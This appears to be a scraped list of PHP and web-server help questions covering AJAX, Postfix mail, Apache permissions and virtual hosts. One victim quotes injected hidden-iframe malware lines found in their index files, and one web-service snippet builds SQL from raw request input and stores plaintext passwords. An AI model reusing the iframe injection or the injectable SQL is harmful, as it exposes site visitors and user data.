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  • php how to open new tab or new window

    - by dpaksp
    in php my task here is before user downloads a file i have display a form thr where i can get details of user i.e form1...on click on submit button it will go to next php file where it process some logic...from thr i have open new tab or new window in that i have display my file or any thing ....how to do thank u

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  • Getting an array back from php using $.ajax

    - by Wurlitzer
    A php script is giving this array (which has been passed through json_encode()) [{name:"a1",path:"b1"},{name:"a2",path:"b2"}] I use the following function to retrieve the array to jquery: $.ajax({ type: "POST", url: "functions.php", data: "action=" + something, cache: false, success: function(response) { alert(response); } }); The problem is I get the array back as a string: (new String("[{name:"a1",path:"b1"},{name:"a2",path:"b2"}}]")) How can I get it to be a javascript array? Help would be much appreciated.

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  • File structure for PHP-based website.

    - by John Berryman
    I'm building a PHP-based web app for the first time and I haven't found anything to pattern it after. At this point I'm mostly curious about how the files should be arranged into directories so that development of the website can be manageable. This includes javascript scripts, images, stylesheets, cgi scripts, html files, pure php files that define common functions, etc. Question: Can someone point me to an explanation about how such a website is typically organized on the server?

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  • php web services not getting data from iphone application

    - by user317192
    Hi, I am connecting with a php web service from my iphone application, I am doing a simple thing i.e. 1. Getting user inputs for: username password in a text field from the iphone form and sending the same to the PHP Post request web service. At the web service end I receive nothing other than blank fields that are inserted into the MySQL Database....... The code for sample web service is: ***********SAMPLE CODE FOR WEB SERVICES***** mysql_select_db("eventsfast",$con); $username = $_REQUEST['username']; $password = $_REQUEST['password']; echo $username; echo $password; $data = $_REQUEST; $fp = fopen("log.txt", "w"); fwrite($fp, $data['username']); fwrite($fp, $data['password']); $sql="INSERT INTO users(username,password) VALUES('{$username}','{$password}')"; if(!mysql_query($sql,$con)) { die('Error:'.mysql_error()); } echo json_encode("1 record added to users table"); mysql_close($con); echo "test"; ? ***************PHP******** ****** **************IPHONE EVENT CODE******* import "postdatawithphpViewController.h" @implementation postdatawithphpViewController @synthesize userName,password; -(IBAction) postdataid) sender { NSLog(userName.text); NSLog(password.text); NSString * dataTOB=[userName.text stringByAppendingString:password.text]; NSLog(dataTOB); NSData * postData=[dataTOB dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:YES]; NSString *postLength = [NSString stringWithFormat:@"%d", [postData length]]; NSLog(postLength); NSMutableURLRequest *request = [[[NSMutableURLRequest alloc] init] autorelease]; NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"http://localhost:8888/write.php"]]; [request setURL:url]; [request setHTTPMethod:@"POST"]; [request setValue:postLength forHTTPHeaderField:@"Content-Length"]; [request setValue:@"application/x-www-form-urlencoded" forHTTPHeaderField:@"Content-Type"]; [request setHTTPBody:postData]; NSURLResponse *response; NSError *error; [NSURLConnection sendSynchronousRequest:request returningResponse:&response error:&error]; if(error==nil) NSLog(@"Error is nil"); else NSLog(@"Error is not nil"); NSLog(@"success!"); } Please help.............

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  • Links from Google appending index.php to my URL

    - by davykiash
    I recently put up a site and I have been doing some SEO. However I noticed that links from Google search append index.php to my links. For example a site page which clearly appears as www.example.com/index/why on search together with correct content sample when clicked on ends up in the new browser as www.example.com/index.php/why Note that on my site all links are redirected to SSL and I use the MVC stucture. Any directives that am may be missing?

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  • show date and time in php

    - by abhishek
    0 down vote hi, I have problem in showing $date="2011-02-10 15:26:20"; in the format of Thursday 10th of February 2011 03:26:20 PM in php. i know there is one date function in php and can be done in one line for example: but via this it will flash today date or so. i want to do it when user check any date and want that date in the format which i mention earlier. please revert me back as soon as posib.... thanks

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  • Connection Timed Out - Simple outbound Postfix for PHP Contact form

    - by BLaZuRE
    Alright, so I only got Postfix for a PHP contact form that will send email to a single . I only want it to send out mail to a single external address ([email protected]). I have domain sub1.sub2.domain.com. I installed Postfix out of the Ubuntu repo, with minimal config changes. I cannot get Postfix to send mail externally (though it succeeds for internal accounts, which is unnecessary). The email simply defers if I generate an email using PHP mail(). If I try to form my own in telnet, right after rcpt to: [email][email protected][/email], I get a postfix/smtpd[31606]: NOQUEUE: reject: RCPT from localhost[127.0.0.1]: 550 5.1.1 <[email protected]>: Recipient address rejected: example.com; from=<root@localhost> to=<[email protected]> proto=ESMTP helo=<localhost> when commenting out default_transport = error and relay_transport = error lines, I get the following: Jun 26 14:33:00 sub1 postfix/smtp[12191]: 2DA06F88206A: to=<[email protected]>, relay=none, delay=514, delays=409/0.01/105/0, dsn=4.4.1, status=deferred (connect to aspmx3.googlemail.com[74.125.127.27]:25: Connection timed out) Jun 26 14:36:36 sub1 postfix/smtp[12225]: connect to mta7.am0.yahoodns.net[98.139.175.224]:25: Connection timed out Jun 26 14:38:00 sub1 postfix/smtp[12225]: 22952F88208E: to=<[email protected]>, relay=none, delay=655, delays=550/0.01/105/0, dsn=4.4.1, status=deferred (connect to mta5.am0.yahoodns.net[67.195.168.230]:25: Connection timed out) My main.cf # See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for # information on enabling SSL in the smtp client. myhostname = sub1.sub2.domain.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = sub1.sub2.domain.com, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all default_transport = error relay_transport = error Also, a dig sub1.sub2.domain.com MX returns: ; <<>> DiG 9.7.0-P1 <<>> sub1.sub2.domain.com MX ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4853 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;sub1.sub2.domain.com. IN MX ;; AUTHORITY SECTION: sub2.domain.com. 600 IN SOA sub2.domain.com. sub5.domain.com. 2012062915 7200 600 1209600 600 ;; Query time: 0 msec ;; SERVER: x.x.x.x#53(x.x.x.x) ;; WHEN: Fri Jun 29 16:35:00 2012 ;; MSG SIZE rcvd: 84 lsof -i returns empty netstat -t -a | grep LISTEN returns tcp 0 0 localhost:mysql *:* LISTEN tcp 0 0 *:ftp *:* LISTEN tcp 0 0 *:ssh *:* LISTEN tcp 0 0 localhost:ipp *:* LISTEN tcp 0 0 *:smtp *:* LISTEN tcp6 0 0 [::]:netbios-ssn [::]:* LISTEN tcp6 0 0 [::]:www [::]:* LISTEN tcp6 0 0 [::]:ssh [::]:* LISTEN tcp6 0 0 localhost:ipp [::]:* LISTEN tcp6 0 0 [::]:microsoft-ds [::]:* LISTEN

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  • How to give my user permission to add/edit files on local apache server? [duplicate]

    - by Logan
    Possible Duplicate: How to make Apache run as current user I'm setting up my local test server again, and I seem to have forgotten how to successfully set up the LAMP server. I have installed LAMP server via tasksel command and I have configured the /var/www directory according to a guide I've found: After the lamp server installation you will need write permissions to the /var/www directory. Follow these steps to configure permissions. Add your user to the www-data group sudo usermod -a -G www-data <your user name> now add the /var/www folder to the www-data group sudo chgrp -R www-data /var/www now give write permissions to the www-data group sudo chmod -R g+w /var/www So logan user is now part of www-data group and the file/folder permissions look like the output below: logan@computer:/var/www$ ls -lart total 172 -rw-r--r-- 1 www-data www-data 1997 Oct 23 2010 wp-links-opml.php -rw-r--r-- 1 www-data www-data 3177 Nov 1 2010 wp-config-sample.php -rw-r--r-- 1 www-data www-data 3700 Jan 8 2012 wp-trackback.php -rw-r--r-- 1 www-data www-data 271 Jan 8 2012 wp-blog-header.php -rw-r--r-- 1 www-data www-data 395 Jan 8 2012 index.php -rw-r--r-- 1 www-data www-data 3522 Apr 10 2012 wp-comments-post.php -rw-r--r-- 1 www-data www-data 19929 May 6 2012 license.txt -rw-r--r-- 1 www-data www-data 18219 Sep 11 08:27 wp-signup.php -rw-r--r-- 1 www-data www-data 2719 Sep 11 16:11 xmlrpc.php -rw-r--r-- 1 www-data www-data 2718 Sep 23 12:57 wp-cron.php -rw-r--r-- 1 www-data www-data 7723 Sep 25 01:26 wp-mail.php -rw-r--r-- 1 www-data www-data 2408 Oct 26 15:40 wp-load.php -rw-r--r-- 1 www-data www-data 4663 Nov 17 10:11 wp-activate.php -rw-r--r-- 1 www-data www-data 9899 Nov 22 04:52 wp-settings.php -rw-r--r-- 1 www-data www-data 9175 Nov 29 19:57 readme.html -rw-r--r-- 1 www-data www-data 29310 Nov 30 08:40 wp-login.php drwxr-xr-x 14 root root 4096 Dec 24 17:41 .. drwx------ 9 www-data www-data 4096 Dec 26 16:11 wp-admin drwx------ 9 www-data www-data 4096 Dec 26 16:11 wp-includes -rw-rw-rw- 1 www-data www-data 3448 Dec 26 16:14 wp-config.php drwxrwxr-x 5 www-data www-data 4096 Dec 26 16:14 . drwx------ 6 www-data www-data 4096 Dec 26 16:19 wp-content Things work perfectly at http://localhost, I can view the website fine. The thing with this is that I will be working on a plugin for wordpress and I don't want to deal with separate owners under www directory to create or modify files/folders. When I give my user the ownership of /var/www recursively as logan:www-data I can create/modify files but cannot view the http://localhost. I get a Forbidden error. I'm assuming that this is because of the Apache's configuration? Which one is healthier or easier considering this is just a local test website, configuring apache to give user logan to view website and chmod /var/www logan:logan so that I can create files etc. without any sudo commands; or is it easier to configure user groups to get www-data user to act like my logan user? (Idk how that's possible, maybe putting www-data user under logan group?) Please shed some light to this subject. All I want is to be able to create/modifiy files under my user, and yet to be able to successfully view http://localhost I appreciate the help!

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  • 404 Error on a file that exists?

    - by Abs
    Hello all, A script makes a GET request to my URL like so: http://mydomain.com/cgi-bin/uu_ini_status_audios.pl?tmp_sid=b742be1d131c4d32237a9f1fcdca659e&rnd_id=0.2363453360320319 However, I get a 404 returned straight away: The requested URL /cgi-bin/uu_ini_status_audios.pl was not found on this server. But that script exists on my server, I can see the file! It has the correct permissions (I gave it a 777 to be sure). It is also owned by my apache user and its in the group apache. What am I missing?? Thanks for any help on this! Update I thought it would have been a htaccess (rewrite) but I don't think it is anymore. I tried putting a index.php file in there and try to access it via my URL but I can't even do that! I tried this: http://mydoamin.com/cgi-bin/index.php - same 404 error! I get this in myerror log: [Tue Sep 14 14:42:49 2010] [error] [client xx.xxx.xx.xxx] script not found or unable to stat: /var/www/vhosts/mydomain.com/cgi-bin Access_log file: xx.xxx.xx.xxx - - [14/Sep/2010:14:48:25 +0200] "GET /cgi-bin/index.php HTTP/1.1" 404 475 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729)" Update 2 My htaccess file: <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^blog/ - [L] RewriteCond %{HTTP_HOST} ^www\.mydomain\.com$ [NC] RewriteRule ^(.*)$ http://mydomain.com/$1 [R=301,L] RewriteRule ^search/(.*)/(.*)/(.*)/(.*) /search.php?searchfor=$1&sortby=$2&page=$3&searchterm=$4 RewriteRule ^confirmemail/(.*) /confirmemail.php?code=$1 RewriteRule ^resetpassword/(.*) /resetpassword.php?code=$1 RewriteRule ^resendconfirmation/(.*) /resendconfirmation.php?userid=$1 RewriteRule ^categories/ /categories.php RewriteRule ^([-_~*a-zA-Z0-9]+)(\/)?$ /memberprofile.php?username=$1 RewriteRule ^browse/audios/(.*)/(.*)/(.*)/(.*) /audios.php?sortby=$1&filter=$2&page=$3&title=$4 RewriteRule ^browse/categories/audios/(.*)/(.*)/(.*)/(.*) /categoryaudios.php?sortby=$1&filter=$2&page=$3&title=$4 RewriteRule ^audios/(.*)/(.*) /playaudio.php?audioid=$1&title=$2 RewriteRule ^download/audio/(.*)/(.*) /downloadaudio.php?AUDIOID=$1&title=$2 RewriteRule ^members/audios/(.*)/(.*) /memberaudios.php?pid=$1&username=$2 RewriteRule ^syndicate/audios/(.*)/(.*) /syndicateaudios.php?filter=$1&title=$2 </IfModule> Update 3 [root@smydomain ~]# ls -la /var/www/vhosts/mydoamin.com/httpdocs/cgi-bin/ total 60 drwxr-xr-x 3 apache root 4096 Sep 14 14:37 . drwxr-x--- 20 som psaserv 4096 Sep 14 14:40 .. drwxr-xr-x 2 apache root 4096 Sep 7 03:01 configs -rwxrwxrwx 1 apache root 4 Sep 14 14:37 index.php -rwxrwxrwx 1 apache apache 6520 Sep 7 03:01 uu_ini_status_audios.pl -rwxr-xr-x 1 apache root 3215 Sep 7 03:01 uu_lib_audios.pl -rwxr-xr-x 1 apache root 30249 Sep 7 03:01 uu_upload_audios.pl

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  • Keep a programming language backwards compatible vs. fixing its flaws

    - by Radu Murzea
    First, some context (stuff that most of you know anyway): Every popular programming language has a clear evolution, most of the time marked by its version: you have Java 5, 6, 7 etc., PHP 5.1, 5.2, 5.3 etc. Releasing a new version makes new APIs available, fixes bugs, adds new features, new frameworks etc. So all in all: it's good. But what about the language's (or platform's) problems? If and when there's something wrong in a language, developers either avoid it (if they can) or they learn to live with it. Now, the developers of those languages get a lot of feedback from the programmers that use them. So it kind of makes sense that, as time (and version numbers) goes by, the problems in those languages will slowly but surely go away. Well, not really. Why? Backwards compatibility, that's why. But why is this so? Read below for a more concrete situation. The best way I can explain my question is to use PHP as an example: PHP is loved thousands of people and hated by just as many thousands. All languages have flaws, but apparently PHP is special. Check out this blog post. It has a very long list of so called flaws in PHP. Now, I'm not a PHP developer (not yet), but I read through all of it and I'm sure that a big chunk of that list are indeed real issues. (Not all of it, since it's potentially subjective). Now, if I was one of the guys who actively develops PHP, I would surely want to fix those problems, one by one. However, if I do that, then code that relies on a particular behaviour of the language will break if it runs on the new version. Summing it up in 2 words: backwards compatibility. What I don't understand is: why should I keep PHP backwards compatible? If I release PHP version 8 with all those problems fixed, can't I just put a big warning on it saying: "Don't run old code on this version !"? There is a thing called deprecation. We had it for years and it works. In the context of PHP: look at how these days people actively discourage the use of the mysql_* functions (and instead recommend mysqli_* and PDO). Deprecation works. We can use it. We should use it. If it works for functions, why shouldn't it work for entire languages? Let's say I (the developer of PHP) do this: Launch a new version of PHP (let's say 8) with all of those flaws fixed New projects will start using that version, since it's much better, clearer, more secure etc. However, in order not to abandon older versions of PHP, I keep releasing updates to it, fixing security issues, bugs etc. This makes sense for reasons that I'm not listing here. It's common practice: look for example at how Oracle kept updating version 5.1.x of MySQL, even though it mostly focused on version 5.5.x. After about 3 or 4 years, I stop updating old versions of PHP and leave them to die. This is fine, since in those 3 or 4 years, most projects will have switched to PHP 8 anyway. My question is: Do all these steps make sense? Would it be so hard to do? If it can be done, then why isn't it done? Yes, the downside is that you break backwards compatibility. But isn't that a price worth paying ? As an upside, in 3 or 4 years you'll have a language that has 90 % of its problems fixed.... a language much more pleasant to work with. Its name will ensure its popularity. EDIT: OK, so I didn't expressed myself correctly when I said that in 3 or 4 years people will move to the hypothetical PHP 8. What I meant was: in 3 or 4 years, people will use PHP 8 if they start a new project.

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  • spawn-fcgi/ fast CGi php crashes without traces in logs, on Gentoo

    - by user39046
    Hello, I recently moved from apache to a Nginx/fastcgi solution, I had it running on a Fedora system and had no problems, but, since i moved all to Gentoo , the Spawn-fCGI / fastcgi php daemon dies, and i can't find out any errors reports on /var/log/messages , so i don't know why this happens. I've seen that fastcgi is somehow different from the fedora distro, on gentoo as it has different conf files and init.d startup scripts, Can someone help me make it more stable? The number of requests that i had isn't any different from the ones I had on fedora, so i use the default conf that comes with the distro..and in about some hours it simply dies... Thank you very much

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  • Slow performance by PHP directory operations on virtual machine (Ubuntu libvirt)

    - by thonixx
    Some days ago I installed an Ubuntu server and two running virtual machines with libvirt. Everything works fine except one performance problem. Everytime when I call a PHP script with directory operations the operations are very slow and not performant. Here is an example: http://zother.white-tiger.ch/ And here you see an example without a directory operation and how fast it is: http://michaeltanner.ch/ It's all on the same virtual server. The virtual machine uses 6 cores (8 are available) and 7500 megabytes RAM (8 Gigabyte are available). The disk image format is qcow2. How can I improve the performance?

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  • beanstalk using php-git on windows client

    - by ntidote
    I am trying to install beanstalk for php using git. I am using a Windows Client machine. I am done with the prerequisite installations , credentials setup. I am following the link http://docs.amazonwebservices.com/elasticbeanstalk/latest/dg/create_deploy_PHP.sdlc.html The following step does not workout (i use git bash for git related commands) From your Git repository directory, type the following command. git aws.config This gives the error git : 'aws.config' is not a git command. Please suggest how to deal with the issue.

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  • set virtual host on Apache2.2 and PHP 5.3

    - by Avinash
    Hi I want to set my Virtual host on Apache 2.2. So, I can access my site using my IP address and Port number. Like http://192.168.101.111:429 for one site, http://192.168.101.111:420 for other site and so on. My machine OS in Windows 7. I have tried below in my httpd.conf file. Listen 192.168.101.83:82 #chaffoteaux <Directory "Path to project folder"> AllowOverride All </Directory> <VirtualHost 192.168.101.83:82> ServerAdmin [email protected] DirectoryIndex index.html index.htm index.php index.html.var DocumentRoot "Path to project folder" #ServerName dummy-host.example.com ErrorLog logs/Zara.log #ErrorLog logs/dummy-host.example.com-error_log #CustomLog logs/dummy-host.example.com-access_log common </VirtualHost> Can you please suggest any thing missing in my configuration. Thanks in advance Avinash

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  • deploying a Python application from a PHP developer

    - by user1218776
    I'm a little confused on the deployment process for Python. Let's say you create a brand new project with virtualenv source bin/activate pip install a few libraries write a simple hello world app pip freeze the dependencies When I deploy this code into a machine, do I need first make sure the machine is sourced before installing dependencies? I don't mean to sound like a total noob but in the PHP world, I don't have to worry about this because it's already part of the project. All the dependencies are registered with the autoloader in place. The steps would be: rsync the files (or any other method) source bin/activate pip install the dependencies from the pip freeze output file It feels awkward, or just wrong and very error prone. What are the correct steps to make? I've searched around but it seems many tutorials/articles make an assumption that anyone reading the article has past python experience (imo).

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  • Search for index.php and index.html and replace string

    - by Jonas
    Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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  • Proper line-ending for an open-source PHP project

    - by Mahdi
    What is the proper line-ending preferences for an open-source web project? Obviously it includes source code of PHP, HTML, CSS and Javascript. The source code is managing via Github now, and there are Windows (8 & 7), Linux (Ubuntu) and OSX developers inside the team, which means all the major operating systems. P.S. We are using "Windows" CRLF line-ending, plus "UTF-8 without BOM" right now, without facing any problem, however I think it might be better to use "*nix/OSX" LF style. I heard some stories about the problems that caused by the additional "CR" on Linux or OS X.

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  • Protecting PHP packages on server

    - by Jack
    Hi, I am a php developer and have recently decided to make one of my Magento extensions commercial. I have downloaded and configured MageParts CEM Server and that is all working perfectly in regard to licencing and delivery of module packages. The only issue is that the directory that the packages are stored in could be accessed by anyone. I tried this in a .htaccess file, but now it is not working. <Files services.wsdl> allow from all </Files> deny from all Clients are receiving a 403 Forbidden response. Have I done something wrong in the .htaccess file or would there be a better way to secure the directory? Any help would be greatly appreciated.

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